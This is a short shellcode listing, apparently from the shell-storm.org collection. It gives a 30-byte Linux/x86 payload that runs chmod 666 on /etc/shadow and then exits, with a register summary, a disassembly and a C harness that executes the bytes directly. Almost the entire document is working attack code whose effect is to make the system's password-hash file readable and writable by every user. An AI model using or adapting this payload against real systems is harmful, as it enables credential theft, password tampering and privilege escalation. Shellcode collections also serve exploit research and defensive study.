30 bytes small shellcode for Linux/x86 that performs chmod() 666 /etc/shadow & exit();
4c44893378083171a83892266561dc67869751c21280f796639a23c91e022139
/*
Linux/x86 - chmod() 666 /etc/shadow & exit()
Info reg
------------------
%eax = 15
%ebx = /etc/shadow
%ecx = 666
%eax = 1
%ebx = 0
Shellcode 30 bytes
Author: Jonathan Salwan < submit [AT] shell-storm.org >
Web: http://www.shell-storm.org
Disassembly of section .text:
08048054 <.text>:
8048054: 51 push %ecx
8048055: 66 b9 b6 01 mov $0x1b6,%cx
8048059: 68 61 64 6f 77 push $0x776f6461
804805e: 68 63 2f 73 68 push $0x68732f63
8048063: 68 2f 2f 65 74 push $0x74652f2f
8048068: 89 e3 mov %esp,%ebx
804806a: 6a 0f push $0xf
804806c: 58 pop %eax
804806d: cd 80 int $0x80
804806f: 40 inc %eax
8048070: cd 80 int $0x80
*/
#include "stdio.h"
int main(int argc, char *argv[])
{
char shellcode[] = "\x51\x66\xb9\xb6"
"\x01\x68\x61\x64"
"\x6f\x77\x68\x63"
"\x2f\x73\x68\x68"
"\x2f\x2f\x65\x74"
"\x89\xe3\x6a\x0f"
"\x58\xcd\x80"
"\x40\xcd\x80";
printf("Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}